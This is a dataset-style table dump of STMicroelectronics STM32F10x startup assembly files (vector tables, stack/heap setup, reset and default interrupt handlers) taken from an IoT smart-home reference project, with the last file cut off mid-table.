repo_id stringlengths 5 115 | size int64 590 5.01M | file_path stringlengths 4 212 | content stringlengths 590 5.01M |
|---|---|---|---|
AlanDoDo/Iot-marthome-reference | 15,398 | OneNET-V3.2-OneNET-裸机-基础例程/15.M6312-TCP-三轴加速计/core/startup/arm/startup_stm32f10x_cl.s | ;******************** (C) COPYRIGHT 2011 STMicroelectronics ********************
;* File Name : startup_stm32f10x_cl.s
;* Author : MCD Application Team
;* Version : V3.5.0
;* Date : 11-March-2011
;* Description : STM32F10x Connectivity line devices vector table for MDK-ARM
;* toolchain.
;* This module performs:
;* - Set the initial SP
;* - Set the initial PC == Reset_Handler
;* - Set the vector table entries with the exceptions ISR address
;* - Configure the clock system
;* - Branches to __main in the C library (which eventually
;* calls main()).
;* After Reset the CortexM3 processor is in Thread mode,
;* priority is Privileged, and the Stack is set to Main.
;* <<< Use Configuration Wizard in Context Menu >>>
;*******************************************************************************
; THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
; WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE TIME.
; AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY DIRECT,
; INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING FROM THE
; CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE CODING
; INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
;*******************************************************************************
; Amount of memory (in bytes) allocated for Stack
; Tailor this value to your application needs
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000200
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD WWDG_IRQHandler ; Window Watchdog
DCD PVD_IRQHandler ; PVD through EXTI Line detect
DCD TAMPER_IRQHandler ; Tamper
DCD RTC_IRQHandler ; RTC
DCD FLASH_IRQHandler ; Flash
DCD RCC_IRQHandler ; RCC
DCD EXTI0_IRQHandler ; EXTI Line 0
DCD EXTI1_IRQHandler ; EXTI Line 1
DCD EXTI2_IRQHandler ; EXTI Line 2
DCD EXTI3_IRQHandler ; EXTI Line 3
DCD EXTI4_IRQHandler ; EXTI Line 4
DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1
DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2
DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3
DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4
DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5
DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6
DCD DMA1_Channel7_IRQHandler ; DMA1 Channel 7
DCD ADC1_2_IRQHandler ; ADC1 and ADC2
DCD CAN1_TX_IRQHandler ; CAN1 TX
DCD CAN1_RX0_IRQHandler ; CAN1 RX0
DCD CAN1_RX1_IRQHandler ; CAN1 RX1
DCD CAN1_SCE_IRQHandler ; CAN1 SCE
DCD EXTI9_5_IRQHandler ; EXTI Line 9..5
DCD TIM1_BRK_IRQHandler ; TIM1 Break
DCD TIM1_UP_IRQHandler ; TIM1 Update
DCD TIM1_TRG_COM_IRQHandler ; TIM1 Trigger and Commutation
DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare
DCD TIM2_IRQHandler ; TIM2
DCD TIM3_IRQHandler ; TIM3
DCD TIM4_IRQHandler ; TIM4
DCD I2C1_EV_IRQHandler ; I2C1 Event
DCD I2C1_ER_IRQHandler ; I2C1 Error
DCD I2C2_EV_IRQHandler ; I2C2 Event
DCD I2C2_ER_IRQHandler ; I2C1 Error
DCD SPI1_IRQHandler ; SPI1
DCD SPI2_IRQHandler ; SPI2
DCD USART1_IRQHandler ; USART1
DCD USART2_IRQHandler ; USART2
DCD USART3_IRQHandler ; USART3
DCD EXTI15_10_IRQHandler ; EXTI Line 15..10
DCD RTCAlarm_IRQHandler ; RTC alarm through EXTI line
DCD OTG_FS_WKUP_IRQHandler ; USB OTG FS Wakeup through EXTI line
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD TIM5_IRQHandler ; TIM5
DCD SPI3_IRQHandler ; SPI3
DCD UART4_IRQHandler ; UART4
DCD UART5_IRQHandler ; UART5
DCD TIM6_IRQHandler ; TIM6
DCD TIM7_IRQHandler ; TIM7
DCD DMA2_Channel1_IRQHandler ; DMA2 Channel1
DCD DMA2_Channel2_IRQHandler ; DMA2 Channel2
DCD DMA2_Channel3_IRQHandler ; DMA2 Channel3
DCD DMA2_Channel4_IRQHandler ; DMA2 Channel4
DCD DMA2_Channel5_IRQHandler ; DMA2 Channel5
DCD ETH_IRQHandler ; Ethernet
DCD ETH_WKUP_IRQHandler ; Ethernet Wakeup through EXTI line
DCD CAN2_TX_IRQHandler ; CAN2 TX
DCD CAN2_RX0_IRQHandler ; CAN2 RX0
DCD CAN2_RX1_IRQHandler ; CAN2 RX1
DCD CAN2_SCE_IRQHandler ; CAN2 SCE
DCD OTG_FS_IRQHandler ; USB OTG FS
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT WWDG_IRQHandler [WEAK]
EXPORT PVD_IRQHandler [WEAK]
EXPORT TAMPER_IRQHandler [WEAK]
EXPORT RTC_IRQHandler [WEAK]
EXPORT FLASH_IRQHandler [WEAK]
EXPORT RCC_IRQHandler [WEAK]
EXPORT EXTI0_IRQHandler [WEAK]
EXPORT EXTI1_IRQHandler [WEAK]
EXPORT EXTI2_IRQHandler [WEAK]
EXPORT EXTI3_IRQHandler [WEAK]
EXPORT EXTI4_IRQHandler [WEAK]
EXPORT DMA1_Channel1_IRQHandler [WEAK]
EXPORT DMA1_Channel2_IRQHandler [WEAK]
EXPORT DMA1_Channel3_IRQHandler [WEAK]
EXPORT DMA1_Channel4_IRQHandler [WEAK]
EXPORT DMA1_Channel5_IRQHandler [WEAK]
EXPORT DMA1_Channel6_IRQHandler [WEAK]
EXPORT DMA1_Channel7_IRQHandler [WEAK]
EXPORT ADC1_2_IRQHandler [WEAK]
EXPORT CAN1_TX_IRQHandler [WEAK]
EXPORT CAN1_RX0_IRQHandler [WEAK]
EXPORT CAN1_RX1_IRQHandler [WEAK]
EXPORT CAN1_SCE_IRQHandler [WEAK]
EXPORT EXTI9_5_IRQHandler [WEAK]
EXPORT TIM1_BRK_IRQHandler [WEAK]
EXPORT TIM1_UP_IRQHandler [WEAK]
EXPORT TIM1_TRG_COM_IRQHandler [WEAK]
EXPORT TIM1_CC_IRQHandler [WEAK]
EXPORT TIM2_IRQHandler [WEAK]
EXPORT TIM3_IRQHandler [WEAK]
EXPORT TIM4_IRQHandler [WEAK]
EXPORT I2C1_EV_IRQHandler [WEAK]
EXPORT I2C1_ER_IRQHandler [WEAK]
EXPORT I2C2_EV_IRQHandler [WEAK]
EXPORT I2C2_ER_IRQHandler [WEAK]
EXPORT SPI1_IRQHandler [WEAK]
EXPORT SPI2_IRQHandler [WEAK]
EXPORT USART1_IRQHandler [WEAK]
EXPORT USART2_IRQHandler [WEAK]
EXPORT USART3_IRQHandler [WEAK]
EXPORT EXTI15_10_IRQHandler [WEAK]
EXPORT RTCAlarm_IRQHandler [WEAK]
EXPORT OTG_FS_WKUP_IRQHandler [WEAK]
EXPORT TIM5_IRQHandler [WEAK]
EXPORT SPI3_IRQHandler [WEAK]
EXPORT UART4_IRQHandler [WEAK]
EXPORT UART5_IRQHandler [WEAK]
EXPORT TIM6_IRQHandler [WEAK]
EXPORT TIM7_IRQHandler [WEAK]
EXPORT DMA2_Channel1_IRQHandler [WEAK]
EXPORT DMA2_Channel2_IRQHandler [WEAK]
EXPORT DMA2_Channel3_IRQHandler [WEAK]
EXPORT DMA2_Channel4_IRQHandler [WEAK]
EXPORT DMA2_Channel5_IRQHandler [WEAK]
EXPORT ETH_IRQHandler [WEAK]
EXPORT ETH_WKUP_IRQHandler [WEAK]
EXPORT CAN2_TX_IRQHandler [WEAK]
EXPORT CAN2_RX0_IRQHandler [WEAK]
EXPORT CAN2_RX1_IRQHandler [WEAK]
EXPORT CAN2_SCE_IRQHandler [WEAK]
EXPORT OTG_FS_IRQHandler [WEAK]
WWDG_IRQHandler
PVD_IRQHandler
TAMPER_IRQHandler
RTC_IRQHandler
FLASH_IRQHandler
RCC_IRQHandler
EXTI0_IRQHandler
EXTI1_IRQHandler
EXTI2_IRQHandler
EXTI3_IRQHandler
EXTI4_IRQHandler
DMA1_Channel1_IRQHandler
DMA1_Channel2_IRQHandler
DMA1_Channel3_IRQHandler
DMA1_Channel4_IRQHandler
DMA1_Channel5_IRQHandler
DMA1_Channel6_IRQHandler
DMA1_Channel7_IRQHandler
ADC1_2_IRQHandler
CAN1_TX_IRQHandler
CAN1_RX0_IRQHandler
CAN1_RX1_IRQHandler
CAN1_SCE_IRQHandler
EXTI9_5_IRQHandler
TIM1_BRK_IRQHandler
TIM1_UP_IRQHandler
TIM1_TRG_COM_IRQHandler
TIM1_CC_IRQHandler
TIM2_IRQHandler
TIM3_IRQHandler
TIM4_IRQHandler
I2C1_EV_IRQHandler
I2C1_ER_IRQHandler
I2C2_EV_IRQHandler
I2C2_ER_IRQHandler
SPI1_IRQHandler
SPI2_IRQHandler
USART1_IRQHandler
USART2_IRQHandler
USART3_IRQHandler
EXTI15_10_IRQHandler
RTCAlarm_IRQHandler
OTG_FS_WKUP_IRQHandler
TIM5_IRQHandler
SPI3_IRQHandler
UART4_IRQHandler
UART5_IRQHandler
TIM6_IRQHandler
TIM7_IRQHandler
DMA2_Channel1_IRQHandler
DMA2_Channel2_IRQHandler
DMA2_Channel3_IRQHandler
DMA2_Channel4_IRQHandler
DMA2_Channel5_IRQHandler
ETH_IRQHandler
ETH_WKUP_IRQHandler
CAN2_TX_IRQHandler
CAN2_RX0_IRQHandler
CAN2_RX1_IRQHandler
CAN2_SCE_IRQHandler
OTG_FS_IRQHandler
B .
ENDP
ALIGN
;*******************************************************************************
; User Stack and Heap initialization
;*******************************************************************************
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ALIGN
ENDIF
END
;******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE*****
|
AlanDoDo/Iot-marthome-reference | 15,192 | OneNET-V3.2-OneNET-裸机-基础例程/15.M6312-TCP-三轴加速计/core/startup/arm/startup_stm32f10x_hd.s | ;******************** (C) COPYRIGHT 2011 STMicroelectronics ********************
;* File Name : startup_stm32f10x_hd.s
;* Author : MCD Application Team
;* Version : V3.5.0
;* Date : 11-March-2011
;* Description : STM32F10x High Density Devices vector table for MDK-ARM
;* toolchain.
;* This module performs:
;* - Set the initial SP
;* - Set the initial PC == Reset_Handler
;* - Set the vector table entries with the exceptions ISR address
;* - Configure the clock system and also configure the external
;* SRAM mounted on STM3210E-EVAL board to be used as data
;* memory (optional, to be enabled by user)
;* - Branches to __main in the C library (which eventually
;* calls main()).
;* After Reset the CortexM3 processor is in Thread mode,
;* priority is Privileged, and the Stack is set to Main.
;* <<< Use Configuration Wizard in Context Menu >>>
;*******************************************************************************
; THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
; WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE TIME.
; AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY DIRECT,
; INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING FROM THE
; CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE CODING
; INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
;*******************************************************************************
; Amount of memory (in bytes) allocated for Stack
; Tailor this value to your application needs
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400 ;ջС-1024B-ɱԶͷ źIJֲֵֵȡ
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000400 ;ѴС-1024B- һɳԱͷţ ԱͷţʱOS
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD WWDG_IRQHandler ; Window Watchdog
DCD PVD_IRQHandler ; PVD through EXTI Line detect
DCD TAMPER_IRQHandler ; Tamper
DCD RTC_IRQHandler ; RTC
DCD FLASH_IRQHandler ; Flash
DCD RCC_IRQHandler ; RCC
DCD EXTI0_IRQHandler ; EXTI Line 0
DCD EXTI1_IRQHandler ; EXTI Line 1
DCD EXTI2_IRQHandler ; EXTI Line 2
DCD EXTI3_IRQHandler ; EXTI Line 3
DCD EXTI4_IRQHandler ; EXTI Line 4
DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1
DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2
DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3
DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4
DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5
DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6
DCD DMA1_Channel7_IRQHandler ; DMA1 Channel 7
DCD ADC1_2_IRQHandler ; ADC1 & ADC2
DCD USB_HP_CAN1_TX_IRQHandler ; USB High Priority or CAN1 TX
DCD USB_LP_CAN1_RX0_IRQHandler ; USB Low Priority or CAN1 RX0
DCD CAN1_RX1_IRQHandler ; CAN1 RX1
DCD CAN1_SCE_IRQHandler ; CAN1 SCE
DCD EXTI9_5_IRQHandler ; EXTI Line 9..5
DCD TIM1_BRK_IRQHandler ; TIM1 Break
DCD TIM1_UP_IRQHandler ; TIM1 Update
DCD TIM1_TRG_COM_IRQHandler ; TIM1 Trigger and Commutation
DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare
DCD TIM2_IRQHandler ; TIM2
DCD TIM3_IRQHandler ; TIM3
DCD TIM4_IRQHandler ; TIM4
DCD I2C1_EV_IRQHandler ; I2C1 Event
DCD I2C1_ER_IRQHandler ; I2C1 Error
DCD I2C2_EV_IRQHandler ; I2C2 Event
DCD I2C2_ER_IRQHandler ; I2C2 Error
DCD SPI1_IRQHandler ; SPI1
DCD SPI2_IRQHandler ; SPI2
DCD USART1_IRQHandler ; USART1
DCD USART2_IRQHandler ; USART2
DCD USART3_IRQHandler ; USART3
DCD EXTI15_10_IRQHandler ; EXTI Line 15..10
DCD RTCAlarm_IRQHandler ; RTC Alarm through EXTI Line
DCD USBWakeUp_IRQHandler ; USB Wakeup from suspend
DCD TIM8_BRK_IRQHandler ; TIM8 Break
DCD TIM8_UP_IRQHandler ; TIM8 Update
DCD TIM8_TRG_COM_IRQHandler ; TIM8 Trigger and Commutation
DCD TIM8_CC_IRQHandler ; TIM8 Capture Compare
DCD ADC3_IRQHandler ; ADC3
DCD FSMC_IRQHandler ; FSMC
DCD SDIO_IRQHandler ; SDIO
DCD TIM5_IRQHandler ; TIM5
DCD SPI3_IRQHandler ; SPI3
DCD UART4_IRQHandler ; UART4
DCD UART5_IRQHandler ; UART5
DCD TIM6_IRQHandler ; TIM6
DCD TIM7_IRQHandler ; TIM7
DCD DMA2_Channel1_IRQHandler ; DMA2 Channel1
DCD DMA2_Channel2_IRQHandler ; DMA2 Channel2
DCD DMA2_Channel3_IRQHandler ; DMA2 Channel3
DCD DMA2_Channel4_5_IRQHandler ; DMA2 Channel4 & Channel5
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT __main
IMPORT SystemInit
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT WWDG_IRQHandler [WEAK]
EXPORT PVD_IRQHandler [WEAK]
EXPORT TAMPER_IRQHandler [WEAK]
EXPORT RTC_IRQHandler [WEAK]
EXPORT FLASH_IRQHandler [WEAK]
EXPORT RCC_IRQHandler [WEAK]
EXPORT EXTI0_IRQHandler [WEAK]
EXPORT EXTI1_IRQHandler [WEAK]
EXPORT EXTI2_IRQHandler [WEAK]
EXPORT EXTI3_IRQHandler [WEAK]
EXPORT EXTI4_IRQHandler [WEAK]
EXPORT DMA1_Channel1_IRQHandler [WEAK]
EXPORT DMA1_Channel2_IRQHandler [WEAK]
EXPORT DMA1_Channel3_IRQHandler [WEAK]
EXPORT DMA1_Channel4_IRQHandler [WEAK]
EXPORT DMA1_Channel5_IRQHandler [WEAK]
EXPORT DMA1_Channel6_IRQHandler [WEAK]
EXPORT DMA1_Channel7_IRQHandler [WEAK]
EXPORT ADC1_2_IRQHandler [WEAK]
EXPORT USB_HP_CAN1_TX_IRQHandler [WEAK]
EXPORT USB_LP_CAN1_RX0_IRQHandler [WEAK]
EXPORT CAN1_RX1_IRQHandler [WEAK]
EXPORT CAN1_SCE_IRQHandler [WEAK]
EXPORT EXTI9_5_IRQHandler [WEAK]
EXPORT TIM1_BRK_IRQHandler [WEAK]
EXPORT TIM1_UP_IRQHandler [WEAK]
EXPORT TIM1_TRG_COM_IRQHandler [WEAK]
EXPORT TIM1_CC_IRQHandler [WEAK]
EXPORT TIM2_IRQHandler [WEAK]
EXPORT TIM3_IRQHandler [WEAK]
EXPORT TIM4_IRQHandler [WEAK]
EXPORT I2C1_EV_IRQHandler [WEAK]
EXPORT I2C1_ER_IRQHandler [WEAK]
EXPORT I2C2_EV_IRQHandler [WEAK]
EXPORT I2C2_ER_IRQHandler [WEAK]
EXPORT SPI1_IRQHandler [WEAK]
EXPORT SPI2_IRQHandler [WEAK]
EXPORT USART1_IRQHandler [WEAK]
EXPORT USART2_IRQHandler [WEAK]
EXPORT USART3_IRQHandler [WEAK]
EXPORT EXTI15_10_IRQHandler [WEAK]
EXPORT RTCAlarm_IRQHandler [WEAK]
EXPORT USBWakeUp_IRQHandler [WEAK]
EXPORT TIM8_BRK_IRQHandler [WEAK]
EXPORT TIM8_UP_IRQHandler [WEAK]
EXPORT TIM8_TRG_COM_IRQHandler [WEAK]
EXPORT TIM8_CC_IRQHandler [WEAK]
EXPORT ADC3_IRQHandler [WEAK]
EXPORT FSMC_IRQHandler [WEAK]
EXPORT SDIO_IRQHandler [WEAK]
EXPORT TIM5_IRQHandler [WEAK]
EXPORT SPI3_IRQHandler [WEAK]
EXPORT UART4_IRQHandler [WEAK]
EXPORT UART5_IRQHandler [WEAK]
EXPORT TIM6_IRQHandler [WEAK]
EXPORT TIM7_IRQHandler [WEAK]
EXPORT DMA2_Channel1_IRQHandler [WEAK]
EXPORT DMA2_Channel2_IRQHandler [WEAK]
EXPORT DMA2_Channel3_IRQHandler [WEAK]
EXPORT DMA2_Channel4_5_IRQHandler [WEAK]
WWDG_IRQHandler
PVD_IRQHandler
TAMPER_IRQHandler
RTC_IRQHandler
FLASH_IRQHandler
RCC_IRQHandler
EXTI0_IRQHandler
EXTI1_IRQHandler
EXTI2_IRQHandler
EXTI3_IRQHandler
EXTI4_IRQHandler
DMA1_Channel1_IRQHandler
DMA1_Channel2_IRQHandler
DMA1_Channel3_IRQHandler
DMA1_Channel4_IRQHandler
DMA1_Channel5_IRQHandler
DMA1_Channel6_IRQHandler
DMA1_Channel7_IRQHandler
ADC1_2_IRQHandler
USB_HP_CAN1_TX_IRQHandler
USB_LP_CAN1_RX0_IRQHandler
CAN1_RX1_IRQHandler
CAN1_SCE_IRQHandler
EXTI9_5_IRQHandler
TIM1_BRK_IRQHandler
TIM1_UP_IRQHandler
TIM1_TRG_COM_IRQHandler
TIM1_CC_IRQHandler
TIM2_IRQHandler
TIM3_IRQHandler
TIM4_IRQHandler
I2C1_EV_IRQHandler
I2C1_ER_IRQHandler
I2C2_EV_IRQHandler
I2C2_ER_IRQHandler
SPI1_IRQHandler
SPI2_IRQHandler
USART1_IRQHandler
USART2_IRQHandler
USART3_IRQHandler
EXTI15_10_IRQHandler
RTCAlarm_IRQHandler
USBWakeUp_IRQHandler
TIM8_BRK_IRQHandler
TIM8_UP_IRQHandler
TIM8_TRG_COM_IRQHandler
TIM8_CC_IRQHandler
ADC3_IRQHandler
FSMC_IRQHandler
SDIO_IRQHandler
TIM5_IRQHandler
SPI3_IRQHandler
UART4_IRQHandler
UART5_IRQHandler
TIM6_IRQHandler
TIM7_IRQHandler
DMA2_Channel1_IRQHandler
DMA2_Channel2_IRQHandler
DMA2_Channel3_IRQHandler
DMA2_Channel4_5_IRQHandler
B .
ENDP
ALIGN
;*******************************************************************************
; User Stack and Heap initialization
;*******************************************************************************
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ALIGN
ENDIF
END
;******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE*****
|
AlanDoDo/Iot-marthome-reference | 15,597 | OneNET-V3.2-OneNET-裸机-基础例程/15.M6312-TCP-三轴加速计/core/startup/arm/startup_stm32f10x_xl.s | ;******************** (C) COPYRIGHT 2011 STMicroelectronics ********************
;* File Name : startup_stm32f10x_xl.s
;* Author : MCD Application Team
;* Version : V3.5.0
;* Date : 11-March-2011
;* Description : STM32F10x XL-Density Devices vector table for MDK-ARM
;* toolchain.
;* This module performs:
;* - Set the initial SP
;* - Set the initial PC == Reset_Handler
;* - Set the vector table entries with the exceptions ISR address
;* - Configure the clock system and also configure the external
;* SRAM mounted on STM3210E-EVAL board to be used as data
;* memory (optional, to be enabled by user)
;* - Branches to __main in the C library (which eventually
;* calls main()).
;* After Reset the CortexM3 processor is in Thread mode,
;* priority is Privileged, and the Stack is set to Main.
;* <<< Use Configuration Wizard in Context Menu >>>
;*******************************************************************************
; THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
; WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE TIME.
; AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY DIRECT,
; INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING FROM THE
; CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE CODING
; INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
;*******************************************************************************
; Amount of memory (in bytes) allocated for Stack
; Tailor this value to your application needs
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000200
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD WWDG_IRQHandler ; Window Watchdog
DCD PVD_IRQHandler ; PVD through EXTI Line detect
DCD TAMPER_IRQHandler ; Tamper
DCD RTC_IRQHandler ; RTC
DCD FLASH_IRQHandler ; Flash
DCD RCC_IRQHandler ; RCC
DCD EXTI0_IRQHandler ; EXTI Line 0
DCD EXTI1_IRQHandler ; EXTI Line 1
DCD EXTI2_IRQHandler ; EXTI Line 2
DCD EXTI3_IRQHandler ; EXTI Line 3
DCD EXTI4_IRQHandler ; EXTI Line 4
DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1
DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2
DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3
DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4
DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5
DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6
DCD DMA1_Channel7_IRQHandler ; DMA1 Channel 7
DCD ADC1_2_IRQHandler ; ADC1 & ADC2
DCD USB_HP_CAN1_TX_IRQHandler ; USB High Priority or CAN1 TX
DCD USB_LP_CAN1_RX0_IRQHandler ; USB Low Priority or CAN1 RX0
DCD CAN1_RX1_IRQHandler ; CAN1 RX1
DCD CAN1_SCE_IRQHandler ; CAN1 SCE
DCD EXTI9_5_IRQHandler ; EXTI Line 9..5
DCD TIM1_BRK_TIM9_IRQHandler ; TIM1 Break and TIM9
DCD TIM1_UP_TIM10_IRQHandler ; TIM1 Update and TIM10
